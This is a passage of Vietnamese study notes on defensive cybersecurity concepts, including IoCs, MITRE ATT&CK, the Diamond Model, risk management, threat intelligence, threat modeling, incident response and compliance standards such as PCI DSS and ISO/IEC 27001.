- **HTTP User Agent - Trang 57:** Sửa đổi trường HTTP user agent để thiết lập giao tiếp với hệ thống đã bị xâm phạm và che giấu lưu lượng.
- **Máy chủ C&C (Command and Control Server) - Trang 57:** Sử dụng các máy chủ C&C thông qua kênh mã hóa để đánh cắp, xóa dữ liệu và phát động tấn công.
- **Sử dụng DNS Tunneling - Trang 57:** Che giấu lưu lượng độc hại bên trong các giao thức hợp lệ của mạng để giao tiếp với máy chủ C&C và qua mặt các chốt kiểm soát.
- **Sử dụng Web Shell - Trang 57 & 58:** Tạo một shell trên trang web để giành quyền thao túng máy chủ từ xa, thực hiện chuyển file và đánh cắp dữ liệu.
- **Chuẩn bị dữ liệu (Data Staging) - Trang 58:** Thu thập và kết hợp càng nhiều dữ liệu (nhạy cảm, cấu trúc mạng, thông tin nhân viên) càng tốt trước khi tiến hành trích xuất hoặc tiêu hủy.

---

3. TTPs — Tactics, Techniques, Procedures (Chiến thuật, Kỹ thuật, Thủ tục) - Trang 9 & 53-55

Thuật ngữ TTPs đề cập đến các kiểu hoạt động và phương pháp gắn liền với các tác nhân đe dọa.

- **Tactics (Chiến thuật) - Trang 9 & 53:** Được định nghĩa là chiến lược mà kẻ tấn công áp dụng để thực hiện cuộc tấn công từ đầu đến cuối. Nó mô tả cách kẻ đe dọa hoạt động trong các giai đoạn khác nhau để thu thập thông tin, thỏa hiệp ban đầu và di chuyển ngang.
- **Techniques (Kỹ thuật) - Trang 9 & 54:** Là các phương pháp kỹ thuật cụ thể mà kẻ tấn công sử dụng để đạt được kết quả trung gian trong suốt cuộc tấn công. Các kỹ thuật này bao gồm sử dụng công cụ để leo thang đặc quyền, thiết lập kênh C&C và xóa dấu vết.
- **Procedures (Thủ tục) - Trang 9 & 55:** Là cách tiếp cận có hệ thống hoặc chuỗi các hành động thực tế do kẻ tấn công thực hiện để triển khai các bước trong vòng đời của cuộc tấn công.

---

4. Chỉ báo xâm phạm (Indicator of Compromise — IoC) - Trang 58-59

IoC là các manh mối, hiện vật và mẩu dữ liệu pháp y được tìm thấy trên mạng hoặc hệ thống, cho thấy một sự xâm nhập tiềm ẩn hoặc hoạt động độc hại. Chúng được chia thành 4 danh mục chính:

- **Chỉ báo email (Email Indicators) - Trang 59:** Thông tin về các email lừa đảo (phishing) bao gồm địa chỉ người gửi, tiêu đề email (subject), và các loại tệp đính kèm hoặc liên kết.
- **Chỉ báo mạng (Network Indicators) - Trang 59:** Hữu ích cho việc phát hiện Command & Control và phân phát mã độc, bao gồm: URL, tên miền (domain name), và địa chỉ IP.
- **Chỉ báo trên host (Host-Based Indicators) - Trang 59:** Được tìm thấy qua việc phân tích hệ thống bị nhiễm, bao gồm: tên tệp (filenames), mã băm (file hashes), khóa registry (registry keys), DLLs và mutex.
- **Chỉ báo hành vi (Behavioral Indicators) - Trang 59:** Xác định các dấu hiệu xâm nhập bất thường như: thực thi tài liệu chứa lệnh PowerShell, yêu cầu DNS bất thường (Unusual DNS requests), đăng nhập thất bại nhiều lần, lưu lượng mạng gọi ra ngoài bất thường, hoặc thay đổi hệ thống/registry đáng ngờ.
  - Lưu lượng mạng gọi ra ngoài bất thường (Unusual outbound network traffic).
  - Hoạt động bất thường thông qua tài khoản người dùng đặc quyền.
  - Sự bất thường về vị trí địa lý (Geographical anomalies).
  - Đăng nhập thất bại nhiều lần.
  - Khối lượng đọc cơ sở dữ liệu tăng đột biến.
  - Kích thước phản hồi HTML lớn bất thường.
  - Nhiều yêu cầu (requests) đối với cùng một tệp tin.
  - Lưu lượng giữa cổng và ứng dụng không khớp (Mismatched port-application traffic).
  - Các thay đổi đáng ngờ đối với registry hoặc tệp hệ thống.
  - Yêu cầu DNS bất thường.
  - Các bản vá hệ thống xuất hiện không mong muốn (Unexpected patching of systems).
  - Dấu hiệu hoạt động của Tấn công từ chối dịch vụ (DDoS).
  - Các gói dữ liệu (Bundles of data) nằm sai vị trí.

  - Lưu lượng web với hành vi “siêu phàm” (Web traffic with superhuman behavior - dấu hiệu của bot/script).

5. MITRE ATT&CK Framework (Trang 61 - 62)

MITRE ATT&CK là một cơ sở kiến thức có thể truy cập toàn cầu về các chiến thuật (tactics) và kỹ thuật (techniques) của kẻ tấn công, được xây dựng dựa trên các quan sát trong thế giới thực. Nó được sử dụng làm nền tảng để phát triển các mô hình mối đe dọa (threat models) và phương pháp luận trong khu vực tư nhân, chính phủ, và cộng đồng sản phẩm/dịch vụ an ninh mạng.

MITRE ATT&CK bao gồm 3 bộ chiến thuật và kỹ thuật: Enterprise, Mobile, và PRE-ATT&CK. Trong đó, 14 danh mục chiến thuật (Tactics) của ATT&CK dành cho Enterprise được bắt nguồn từ các giai đoạn sau của chuỗi Cyber Kill Chain:

- Reconnaissance (Trinh sát)
- Resource Development (Phát triển tài nguyên)
- Initial Access (Truy cập ban đầu)
- Execution (Thực thi)
- Persistence (Duy trì) **Các trường hợp sử dụng (Use Cases) của MITRE ATT&CK cho Enterprise [Trang 62]:**
- Ưu tiên nỗ lực phát triển và mua sắm cho việc phòng thủ mạng máy tính.
- Tiến hành phân tích, đánh giá các giải pháp thay thế giữa các tính năng phòng thủ mạng khác nhau.
- Xác định độ “phủ” (coverage) của một nhóm các khả năng phòng thủ.
- Mô tả chuỗi sự kiện xâm nhập một cách xuyên suốt dựa trên kỹ thuật dùng chung.
- Xác định các điểm chung và đặc điểm phân biệt giữa các chiêu thức của kẻ thù.
- Kết nối trực tiếp giữa các biện pháp giảm nhẹ rủi ro (mitigations), điểm yếu (weaknesses) và kẻ tấn công (adversaries).
- Privilege Escalation (Leo thang đặc quyền)
- Defense Evasion (Lẩn tránh phòng thủ)
- Credential Access (Truy cập thông tin xác thực)
- Discovery (Khám phá)
- Lateral Movement (Di chuyển ngang)
- Collection (Thu thập)
- Command and Control (Điều khiển và Chỉ huy)
- Exfiltration (Trích xuất dữ liệu)
- Impact (Tác động)

(Lưu ý: Mặc dù phân đoạn này không trực tiếp định nghĩa “Subtechniques”, các khái niệm cơ bản đã được định nghĩa chi tiết ở phần TTPs - Trang 53-55, trong đó Tactics là chiến lược tổng thể, Techniques là phương pháp kỹ thuật, Procedures là chuỗi các hành động thực tế).

6. Mô hình Diamond (Diamond Model of Intrusion Analysis) (Trang 63 - 66)

Mô hình này cung cấp một khuôn khổ để xác định các sự kiện có tương quan với nhau trong một cuộc xâm nhập, xoay quanh 4 tính năng cốt lõi tạo thành hình viên kim cương:

- **Adversary (Kẻ tấn công - WHO):** Đối thủ đứng sau cuộc tấn công. Kẻ tấn công lợi dụng khả năng (capability) nhắm vào nạn nhân để trục lợi hoặc phá hoại. Họ có thể là người trong cuộc (insiders) hoặc tổ chức đối thủ.
- **Capability (Khả năng - HOW):** Các chiến lược, phương pháp và thủ tục liên quan đến cuộc tấn công, hay "cách thức" cuộc tấn công được thực hiện. Bao gồm cả các công cụ (malware, công cụ kỹ thuật) và các kỹ thuật từ đơn giản đến phức tạp như brute forcing hoặc ransomware.
- **Infrastructure (Cơ sở hạ tầng - WHAT):** Phần cứng hoặc phần mềm "cái gì" mà kẻ tấn công sử dụng để kết nối và tiếp cận nạn nhân (ví dụ: máy chủ email, server C&C, địa chỉ IP).
- **Victim (Nạn nhân - WHERE):** Mục tiêu đã bị khai thác hoặc môi trường nơi cuộc tấn công diễn ra. Nạn nhân có thể là cá nhân, tổ chức, tổ chức tài chính hoặc các thông tin mạng (IP, tên miền, email).

Các tính năng bổ sung (Extended Diamond Model / Meta-Features): Ngoài 4 yếu tố trên, mô hình còn sử dụng các tính năng meta để cung cấp thêm thông tin giúp phân tích và liên kết các sự kiện:

- **Timestamp:** Tiết lộ thời gian và ngày tháng của sự kiện. Giúp xác định điểm bắt đầu, kết thúc và chu kỳ của sự kiện.
- **Phase:** Giúp xác định tiến trình của một cuộc tấn công hoặc hoạt động độc hại (dựa theo các giai đoạn trong Cyber Kill Chain như reconnaissance, weaponization, delivery...).
- **Result:** Kết quả của bất kỳ sự kiện nào (thành công, thất bại hoặc không xác định). Có thể phân loại theo nguyên tắc bảo mật như CIA bị xâm phạm.
- **Direction:** Hướng của cuộc tấn công (Ví dụ: từ nạn nhân đến cơ sở hạ tầng, từ kẻ tấn công đến cơ sở hạ tầng, hoặc hai chiều).
- **Methodology:** Bất kỳ kỹ thuật nào được kẻ tấn công sử dụng (Ví dụ: email spear-phishing, DDoS, drive-by-compromise).
- **Resource:** Việc sử dụng các tài nguyên bên ngoài như công cụ, phần cứng, phần mềm, quyền truy cập hoặc dữ liệu để thực hiện cuộc tấn công.
- **Socio-political meta-feature:** Mô tả mối quan hệ giữa kẻ tấn công và nạn nhân, dùng để xác định mục tiêu hoặc động cơ (lợi ích tài chính, gián điệp, hacktivism).
- **Technology meta-feature:** Mô tả mối quan hệ giữa cơ sở hạ tầng và khả năng (cách công nghệ kích hoạt giao tiếp và hoạt động, giúp phát hiện công nghệ độc hại).

7. Bảo đảm thông tin (Information Assurance — IA) (Trang 68 - 69)

IA là sự bảo đảm rằng tính toàn vẹn (integrity), tính sẵn sàng (availability), tính bảo mật (confidentiality), và tính xác thực (authenticity) của thông tin và hệ thống thông tin được bảo vệ trong suốt quá trình sử dụng, xử lý, lưu trữ và truyền tải. Bao gồm 8 quy trình cốt lõi để đạt được Bảo đảm thông tin:

- Phát triển chính sách, quy trình và hướng dẫn nội bộ (Developing local policy, process, and guidance).
- Thiết kế chiến lược xác thực mạng và người dùng (Designing network and user authentication strategies).
- Xác định các lỗ hổng và mối đe dọa mạng (Identifying network vulnerabilities and threats).
- Xác định các vấn đề và yêu cầu về tài nguyên (Identifying problem and resource requirements).

- Tạo kế hoạch đáp ứng các yêu cầu tài nguyên (Creating plans for identified resource requirements).
- Áp dụng các biện pháp kiểm soát bảo đảm thông tin phù hợp (Applying appropriate information assurance controls).
- Thực hiện cấp chứng nhận và công nhận hệ thống (Performing certification and accreditation - C&A).
- Cung cấp đào tạo về bảo đảm thông tin cho toàn bộ nhân sự (Providing information assurance training).

8. Chiến lược an ninh liên tục / thích ứng (Continual/Adaptive Security Strategy) (Trang 70 - 71)

Chiến lược bảo mật thích ứng yêu cầu các hành động dự đoán, phòng ngừa, phát hiện và ứng phó phải được thực hiện liên tục để đảm bảo phòng thủ mạng toàn diện. Quy trình này bao gồm 4 góc phần tư:

- **Predict (Dự đoán):** Đánh giá Rủi ro và Lỗ hổng (Risk and Vulnerability Assessment), Phân tích bề mặt tấn công (Attack Surface Analysis), Tình báo mối đe dọa (Threat Intelligence).
- **Protect (Bảo vệ):** Áp dụng chiến lược phòng thủ theo chiều sâu (Defense-in-depth), bảo vệ thiết bị đầu cuối, bảo vệ mạng lưới, và bảo vệ dữ liệu.
- **Detect (Phát hiện):** Giám sát mối đe dọa liên tục (Continuous Threat Monitoring).
- **Respond (Ứng phó):** Ứng phó sự cố (Incident Response).

Phòng thủ chiều sâu (Defense-in-Depth) (Trang 72)

- Defense-in-depth là một chiến lược bảo mật trong đó nhiều lớp bảo vệ (several protection layers) được đặt xuyên suốt hệ thống thông tin.
- Chiến lược này sử dụng nguyên tắc quân sự, giúp ngăn chặn các cuộc tấn công trực tiếp vào hệ thống và dữ liệu. Nếu kẻ tấn công phá vỡ được một lớp, chúng sẽ tiếp tục phải đối mặt và bị chặn lại bởi lớp bảo vệ tiếp theo.
- Các lớp bảo vệ (từ ngoài vào trong): Policies, Procedures, and Awareness (Chính sách, quy trình và nhận thức) -> Physical (Vật lý) -> Perimeter (Vành đai) -> Internal Network (Mạng nội bộ) -> Host (Máy chủ/Máy trạm) -> Application (Ứng dụng) -> Data (Dữ liệu).
  - **Các Cấp độ Rủi ro (Risk Levels)**:
    - **Extreme or High (Nghiêm trọng hoặc Cao)** - Mối nguy hiểm nghiêm trọng hoặc sắp xảy ra: Yêu cầu các biện pháp tức thời để chống lại rủi ro; phải xác định và áp dụng các kiểm soát để giảm rủi ro xuống mức thấp hợp lý.
    - **Medium (Trung bình)** - Mối nguy hiểm vừa phải: Không yêu cầu hành động tức thời nhưng cần triển khai nhanh chóng; thực hiện các biện pháp kiểm soát càng sớm càng tốt để giảm rủi ro.
    - **Low (Thấp)** - Mối nguy hiểm không đáng kể: Thực hiện các bước phòng ngừa (preventive steps) để giảm thiểu tác động.

9. Công thức tính rủi ro (Risk) (Trang 73 - 74)

Rủi ro là mức độ không chắc chắn hoặc dự báo về thiệt hại tiềm ẩn do một sự kiện bất lợi gây ra cho hệ thống. Mối quan hệ này được thể hiện qua các công thức sau:

- **RISK** = **Threats** × **Vulnerabilities** × **Impact** (Rủi ro = Mối đe dọa × Lỗ hổng × Tác động) - Trang 73
- **RISK** = **Threat** × **Vulnerability** × **Asset Value** (Rủi ro = Mối đe dọa × Lỗ hổng × Giá trị tài sản) - Trang 73

- **Level of Risk = Consequence × Likelihood** (Mức độ Rủi ro = Hậu quả × Khả năng xảy ra) - Trang 74 (Thường được sử dụng để xây dựng Ma trận rủi ro - Risk Matrix).

Mục tiêu của Quản lý rủi ro (Risk Management Objectives) (Trang 76)

- Xác định các rủi ro tiềm ẩn — đây là mục tiêu chính của quản lý rủi ro.
- Xác định tác động của rủi ro và giúp tổ chức phát triển các chiến lược, kế hoạch quản lý rủi ro tốt hơn.
- Ưu tiên các rủi ro, tùy thuộc vào tác động hoặc mức độ nghiêm trọng, và sử dụng các phương pháp, công cụ kỹ thuật đã thiết lập để hỗ trợ.
- Hiểu và phân tích các rủi ro, đồng thời báo cáo các sự kiện rủi ro đã xác định.
- Kiểm soát rủi ro và giảm thiểu tác động của nó.
- Tạo nhận thức cho đội ngũ an ninh và phát triển các kế hoạch bảo vệ lâu dài.

Quy trình Quản lý rủi ro (Risk Management Phases) (Trang 76 - 78)

Quản lý rủi ro là quá trình giảm thiểu và duy trì rủi ro ở mức có thể chấp nhận được thông qua một chương trình bảo mật được xác định rõ ràng. Quy trình này bao gồm 4 giai đoạn chính:

- **Nhận dạng rủi ro (Risk Identification)**: Xác định các nguồn gốc, nguyên nhân, hậu quả và các chi tiết khác của rủi ro nội bộ và bên ngoài ảnh hưởng đến an ninh của tổ chức.
- **Đánh giá rủi ro (Risk Assessment)**: Đánh giá rủi ro của tổ chức và ước tính khả năng xảy ra (likelihood) cũng như tác động (impact) của rủi ro đó.
- **Xử lý rủi ro (Risk Treatment)**: Lựa chọn và thực hiện các biện pháp kiểm soát thích hợp đối với các rủi ro đã được xác định.
  - Để xử lý rủi ro hiệu quả, tổ chức cần thu thập các thông tin sau trước khi tiến hành xử lý:
    - Phương pháp điều trị phù hợp (The appropriate method of treatment).
    - Người chịu trách nhiệm xử lý (The people responsible for the treatment).
    - Chi phí liên quan (The costs involved).
    - Lợi ích của việc điều trị (The benefits of treatment).
    - Khả năng thành công (The likelihood of success).
    - Các cách đo lường và đánh giá việc xử lý (Ways to measure and assess the treatment).
- **Theo dõi và Đánh giá (Risk Tracking and Review)**: Đảm bảo các biện pháp kiểm soát phù hợp được triển khai để xử lý các rủi ro đã biết và đánh giá hiệu suất của các chiến lược quản lý rủi ro.

10. Tình báo mối đe dọa mạng (Cyber Threat Intelligence — CTI) (Trang 79 - 82)

Định nghĩa: CTI là quá trình thu thập và phân tích thông tin về các mối đe dọa và kẻ thù, từ đó phác thảo các kiểu mẫu cung cấp khả năng đưa ra quyết định có hiểu biết cho việc chuẩn bị, phòng ngừa và phản ứng trước các cuộc tấn công mạng. Việc này giúp chuyển đổi các "mối đe dọa chưa biết" thành đã biết để phòng vệ chủ động.

Các loại Tình báo Mối đe dọa (Trang 80 - 82):

- **Strategic intelligence (Tình báo chiến lược):** Dành cho lãnh đạo điều hành và ban quản lý (như CISO). Cung cấp thông tin cấp cao về rủi ro an ninh mạng, xu hướng tấn công, tác động tài chính và các quyết định chiến lược.
- **Tactical intelligence (Tình báo chiến thuật):** Dành cho các chuyên gia an ninh mạng, quản trị viên, và nhân viên NOC. Cung cấp thông tin về TTPs (Chiến thuật, Kỹ thuật, Thủ tục) của kẻ tấn công, giúp họ đánh giá và thiết lập các chiến lược phát hiện và giảm thiểu.
- **Operational intelligence (Tình báo hoạt động):** Dành cho các nhà quản lý bảo mật, đội phản ứng sự cố (IR) và pháp y. Cung cấp thông tin bối cảnh về các sự kiện bảo mật, giúp thấu hiểu ý định, phương pháp và cơ hội của kẻ tấn công để phản ứng lại các rủi ro cụ thể.
- **Technical intelligence (Tình báo kỹ thuật):** Cung cấp thông tin về các tài nguyên cụ thể kẻ tấn công sử dụng (Kênh C&C, mã băm, URL, IP). Loại này có tuổi thọ ngắn, tập trung vào các Chỉ báo xâm phạm (IoC) cụ thể và được dùng trực tiếp cho các hệ thống như SIEM, Tường lửa, IDS/IPS và đội SOC.

---

11. Vòng đời CTI (Threat Intelligence Lifecycle) (Trang 83 - 85)

Vòng đời CTI là một quá trình liên tục bao gồm 5 giai đoạn để phát triển tình báo từ dữ liệu thô:

- **Planning and Direction (Lên kế hoạch và Định hướng - Trang 83):** Xác định các yêu cầu về tình báo, thiết lập phương pháp thu thập dữ liệu và xây dựng đội ngũ tình báo cũng như kế hoạch lấy thông tin (OSINT, v.v.).
- **Collection (Thu thập - Trang 84):** Tiến hành thu thập dữ liệu qua các phương tiện kỹ thuật hoặc con người (HUMINT, IMINT, MASINT, OSINT, logs mạng, v.v.).
- **Processing and Exploitation (Xử lý và Khai thác - Trang 84):** Chuyển đổi, làm sạch dữ liệu thô thành định dạng có thể sử dụng (chuẩn hóa, giải mã, dịch ngôn ngữ, lọc và tổng hợp).
- **Analysis and Production (Phân tích và Sản xuất):** Áp dụng các kỹ thuật phân tích để biến dữ liệu đã xử lý thành báo cáo tình báo. Để trích xuất thông tin chính xác, các nhà phân tích cần triển khai 4 kỹ thuật suy luận (reasoning techniques): suy diễn (deduction), quy nạp (induction), suy luận giả định (abduction), và phương pháp khoa học dựa trên độ tin cậy (scientific method based on confidence).
- **Dissemination and Integration (Phân phối và Tích hợp - Trang 84-85):** Phân phối thông tin tình báo đã được phân tích (báo cáo, IoC) đến người dùng phù hợp (bộ phận quản lý, đội SOC). Quy trình này cũng đi kèm với Feedback (Phản hồi) để đánh giá xem tình báo có đáp ứng yêu cầu hay không, từ đó cải thiện chu kỳ tiếp theo.

---

12. Mô hình hóa mối đe dọa (Threat Modeling) (Trang 86 - 89)

Mô hình hóa mối đe dọa là một phương pháp đánh giá rủi ro để phân tích bảo mật của một ứng dụng bằng cách nắm bắt, tổ chức và phân tích tất cả các thông tin ảnh hưởng đến ứng dụng đó. Quy trình thực hiện bao gồm 5 bước:

- **Identify Security Objectives:** Xác định các mục tiêu bảo mật (Tính bảo mật, toàn vẹn, sẵn sàng) và điều kiện tuân thủ.
- **Application Overview (Tổng quan ứng dụng):** Xác định các thành phần, luồng dữ liệu, ranh giới tin cậy và các vai trò. Nó bao gồm các bước:

- *(Chi tiết về Tổng quan ứng dụng)*: Sơ đồ triển khai cần chứa các yếu tố sau: Cấu trúc liên kết mạng đầu cuối (End-to-end deployment topology), Các lớp logic (Logical layers), Các thành phần chính (Key components), Các dịch vụ chính (Key services), Cổng và giao thức giao tiếp (Communication ports and protocols), Danh tính (Identities), và Các phụ thuộc bên ngoài (External dependencies).
- **Xác định các vai trò (Identify Roles):** Xác định các nhóm người dùng có đặc quyền cao, ai được đọc/cập nhật/xóa dữ liệu.
- **Xác định kịch bản sử dụng (Identify Key Usage Scenarios):** Xác định mục tiêu qua các trường hợp sử dụng (use cases).
- **Xác định công nghệ (Identify Technologies):** OS, web server, database, ngôn ngữ phát triển.
- **Xác định cơ chế bảo mật (Identify Application Security Mechanisms):** Xác thực, quản lý phiên, mật mã, xác thực đầu vào, v.v.

- **Decompose the Application (Phân tách ứng dụng):** Phân tách ứng dụng để tìm các thông tin chi tiết. Bao gồm:
  - **Xác định Ranh giới tin cậy (Identify Trust Boundaries).**
  - **Xác định Luồng dữ liệu (Identify Data Flows).**
  - **Xác định Điểm vào (Identify Entry Points).**
  - **Xác định Điểm ra (Identify Exit Points).**
- **Identify Threats:** Xác định các mối đe dọa liên quan tới kịch bản kiểm soát, phân nhóm chúng theo các danh mục.
- **Identify Vulnerabilities:** Xác định các điểm yếu gắn liền với mối đe dọa để tìm cách vá và sửa chữa trước khi bị kẻ tấn công khai thác.

Mô hình hóa mối đe dọa giúp (Threat modeling helps to) [Trang 86 - 87]:

- Xác định các mối đe dọa liên quan đến một kịch bản ứng dụng cụ thể.
- Xác định các lỗ hổng chính trong thiết kế của một ứng dụng.
- Cải thiện thiết kế bảo mật.

Hướng dẫn (Guidelines):

- Cố gắng không quá cứng nhắc về các bước cụ thể; hãy tập trung vào phương pháp tiếp cận. Nếu một bước bế tắc, hãy bỏ qua và chuyển ngay đến bước 4 (Identify Threats) để tìm ra vấn đề.
- Sử dụng các kịch bản (scenarios) để xác định phạm vi hoạt động mô hình hóa.
- Tận dụng các tài liệu thiết kế hiện có (như documented use cases, user stories, sơ đồ kiến trúc, sơ đồ luồng dữ liệu...).
- Bắt đầu với một bảng trắng (whiteboard) trước khi ghi lại thông tin vào tài liệu để tránh bị lạc vào các chi tiết.
- Sử dụng phương pháp lặp (iterative approach). Liên tục bổ sung chi tiết và cải thiện mô hình khi quá trình thiết kế/phát triển tiếp tục.
- Thu thập thông tin đầu vào về các ràng buộc mạng/máy chủ từ quản trị viên hệ thống để hiểu rõ cấu hình tường lửa, cổng, giao thức, v.v.

---

13. Quản lý sự cố (Incident Management) (Trang 90 - 91)

Quản lý sự cố là tập hợp các quy trình được xác định để xác định, phân tích, ưu tiên và giải quyết các sự cố bảo mật nhằm khôi phục hoạt động dịch vụ bình thường càng nhanh càng tốt và ngăn ngừa sự cố lặp lại. Các hoạt động chính bao gồm: Phân tích lỗ hổng, phân tích hiện vật (Artifact handling), đào tạo nhận thức bảo mật, phát hiện xâm nhập, thông báo, và xử lý sự cố.

Quy trình quản lý sự cố được thiết kế nhằm (The incident management process is designed to) [Trang 90 - 91]:

- Cải thiện chất lượng dịch vụ.
- Giải quyết vấn đề một cách chủ động.
- Giảm thiểu tác động của sự cố đối với tổ chức hoặc hoạt động kinh doanh.
- Đáp ứng các yêu cầu về tính sẵn sàng của dịch vụ.
- Tăng hiệu quả và năng suất của nhân viên.
- Cải thiện sự hài lòng của người dùng và khách hàng.
- Hỗ trợ xử lý các sự cố trong tương lai.

Những người thực hiện các hoạt động quản lý sự cố bao gồm:

- **Nhân sự (Human resources personnel):** Thực hiện các bước sa thải những nhân viên bị tình nghi có hoạt động máy tính gây hại.
- **Cố vấn pháp lý (The legal counsel):** Đặt ra các quy tắc và quy định ảnh hưởng đến chính sách bảo mật nội bộ (đặc biệt khi kẻ tấn công là người trong tổ chức).
- **Quản trị viên tường lửa (The firewall manager):** Giữ cho các bộ lọc hoạt động, do đây thường xuyên là nơi nhắm tới của các cuộc tấn công từ chối dịch vụ.
- **Nhà cung cấp dịch vụ thuê ngoài (An outsourced service provider):** Hỗ trợ sửa chữa các hệ thống bị nhiễm virus và phần mềm độc hại.

Ứng phó sự cố (Incident Handling and Response - IH&R) - (Trang 92-93): Như đã nhắc lại quy trình, nó bao gồm 9 bước cốt lõi:

- Preparation (Chuẩn bị)
- Incident Recording and Assignment (Ghi nhận và phân công)
- Incident Triage (Phân loại ưu tiên)
- Notification (Thông báo)
- Containment (Cách ly)
- Evidence Gathering and Forensic Analysis (Thu thập bằng chứng và Phân tích pháp y)
- Eradication (Loại bỏ nguyên nhân gốc rễ)
- Recovery (Phục hồi lại hệ thống)
- Post-Incident Activities (Hoạt động sau sự cố như viết tài liệu, báo cáo).

Vai trò của AI và ML trong An ninh mạng (Role of AI and ML in Cyber Security) (Trang 94 - 97)

Học máy (ML) và Trí tuệ nhân tạo (AI) giúp xác định các điểm yếu và lỗ hổng mới, từ đó phân tích để giảm thiểu các cuộc tấn công tiếp theo.

- **Các kỹ thuật phân loại ML (ML classification techniques)**:
  - **Học có giám sát (Supervised Learning)**: Sử dụng tập dữ liệu huấn luyện được gắn nhãn (labeled training data) để học sự khác biệt giữa các nhãn. Phân thành hai danh mục phụ: Classification (Phân loại) và Regression (Hồi quy).
  - **Học không giám sát (Unsupervised Learning)**: Sử dụng dữ liệu đầu vào không được gắn nhãn (unlabeled training data) để tự suy luận ra các danh mục. Phân thành: Dimensionality Reduction (Giảm chiều dữ liệu) và Clustering (Phân cụm).
- **Cách AI và ML ngăn chặn tấn công mạng**:
  - **Bảo vệ mật khẩu và Xác thực:** Trí tuệ nhân tạo cung cấp các mô hình mới nhất để nhận diện khuôn mặt bằng cách theo dõi các tương quan và mô hình cốt lõi, cải thiện độ chính xác của bảo mật sinh trắc học và chống lại các vi phạm thông tin đăng nhập.
  - **Phát hiện và Phòng ngừa Phishing:** AI và ML có thể quét và xác định các email lừa đảo (phishing) nhanh hơn nhiều so với con người, đồng thời phân biệt nhanh chóng các trang web độc hại và hợp pháp.
  - **Phát hiện mối đe dọa (Threat Detection):** Học máy hỗ trợ thực hiện phân tích dữ liệu logic liên tục (deep learning) để dự đoán và thông báo cho quản trị viên về các cuộc tấn công mạng ngay trước khi hệ thống bị xâm phạm.
  - **Quản lý lỗ hổng:** Các hệ thống dựa trên AI/ML liên tục quét động mọi loại lỗ hổng và cảnh báo ngay lập tức, đồng thời có thể dự báo cách thức và thời điểm một lỗ hổng có thể bị khai thác.
  - **Phân tích hành vi (Behavioral Analytics):** AI kết hợp ML tạo ra các mẫu người dùng cụ thể dựa trên việc sử dụng thông thường. Nếu một kẻ tấn công đánh cắp chứng chỉ và đăng nhập, phần mềm AI sẽ ngay lập tức cảnh báo quản trị viên về bất kỳ sự sai lệch nào so với hành vi chuẩn.
  - **An ninh mạng lưới:** Quản trị viên áp dụng AI để tự động thực hiện phân tích lưu lượng mạng và đề xuất các chính sách bảo mật hiệu quả (thay vì làm thủ công rất tốn thời gian).
  - **Antivirus dựa trên AI:** Thay vì quét file để khớp chữ ký virus (cần thời gian cập nhật), các chương trình diệt virus AI sử dụng "phát hiện điểm bất thường" (anomaly detection) để thấu hiểu hành vi của chương trình và ngăn chặn mã độc mới.
  - **Phát hiện gian lận:** Các thuật toán AI và ML phát hiện sự bất thường trong thanh toán, tự động khám phá mô hình giao dịch và phân biệt/chặn các giao dịch không hợp pháp.
  - **Phát hiện Botnet:** Botnet thường vượt qua IDS truyền thống do mã tinh vi. AI và ML có thể phát hiện các hành vi đáng ngờ của mạng để nhận diện các xâm nhập trái phép do botnet gây ra.
  - **Dùng AI để chống lại các mối đe dọa từ AI:** Kẻ tấn công ngày càng dùng AI, do đó tổ chức cũng phải sử dụng phần mềm AI để phát hiện các cuộc tấn công "được tăng cường bằng AI" ngay lập tức trước khi mạng bị thỏa hiệp.

14. Luật và Tiêu chuẩn (Laws and Standards) (Trang 99 - 114)

- **PCI DSS (Payment Card Industry Data Security Standard) - Trang 99-100:** Là tiêu chuẩn bảo mật dữ liệu độc quyền dành cho các tổ chức lưu trữ, xử lý, hoặc truyền tải dữ liệu chủ thẻ thanh toán (thẻ tín dụng,

ghi nợ). Việc không tuân thủ có thể dẫn đến phạt tiền hoặc bị tước quyền xử lý thẻ.

  - **12 Yêu cầu chi tiết của Tiêu chuẩn Bảo mật Dữ liệu PCI DSS (High Level Overview):**
    1. Cài đặt và duy trì cấu hình tường lửa để bảo vệ dữ liệu chủ thẻ.
    2. Không sử dụng mật khẩu hệ thống và các tham số bảo mật mặc định do nhà cung cấp cung cấp.
    3. Bảo vệ dữ liệu chủ thẻ được lưu trữ.
    4. Mã hóa việc truyền tải dữ liệu chủ thẻ qua các mạng công cộng mở.
    5. Sử dụng và cập nhật thường xuyên các phần mềm/chương trình diệt virus.
    6. Phát triển và duy trì các hệ thống, ứng dụng an toàn.
    7. Hạn chế quyền truy cập vào dữ liệu chủ thẻ theo nguyên tắc cần-biết (business need-to-know).
    8. Gán một ID duy nhất cho mỗi cá nhân có quyền truy cập máy tính.
    9. Hạn chế quyền truy cập vật lý vào dữ liệu chủ thẻ.
    10. Theo dõi và giám sát tất cả các truy cập vào tài nguyên mạng và dữ liệu chủ thẻ.
    11. Thường xuyên kiểm tra các hệ thống và quy trình bảo mật.
    12. Duy trì một chính sách giải quyết vấn đề an toàn thông tin cho toàn bộ nhân sự.

- **ISO/IEC 27001 - Trang 101:** Tiêu chuẩn quốc tế cung cấp yêu cầu và framework để thiết lập, thực hiện, duy trì và cải tiến liên tục một Hệ thống Quản lý An toàn Thông tin (ISMS) nhằm bảo đảm tính bảo mật, toàn vẹn và sẵn sàng của dữ liệu.
  - **Các tiêu chuẩn ISO/IEC liên quan khác (Other Relevant ISO/IEC Standards)** [Trang 101 - 103]:
    * **ISO/IEC 27701:2019**: Mở rộng ISO/IEC 27001 để bao gồm quản lý quyền riêng tư, thiết lập Hệ thống Quản lý Thông tin Quyền riêng tư (PIMS) và bảo vệ dữ liệu PII.
    * **ISO/IEC 27002:2022**: Nêu các biện pháp thực hành tốt nhất (best practices) và mục tiêu kiểm soát cho các lĩnh vực an ninh mạng quan trọng như kiểm soát truy cập và mật mã.
    * **ISO/IEC 27005:2022**: Cung cấp hướng dẫn toàn diện về quản lý rủi ro an ninh thông tin để hỗ trợ ISMS.
    * **ISO/IEC 27018:2019**: Bộ quy tắc thực hành tập trung vào việc bảo vệ thông tin nhận dạng cá nhân (PII) trên nền tảng đám mây công cộng.
    * **ISO/IEC 27032:2023**: Cung cấp tổng quan về an ninh mạng Internet (Internet security) và xác định vai trò của các bên liên quan.
    * **ISO/IEC 27033-7:2023**: Hướng dẫn triển khai an ninh mạng ảo hóa (Network virtualization security).
    * **ISO/IEC 27036-3:2023**: Hướng dẫn bảo mật chuỗi cung ứng phần cứng, phần mềm và dịch vụ.
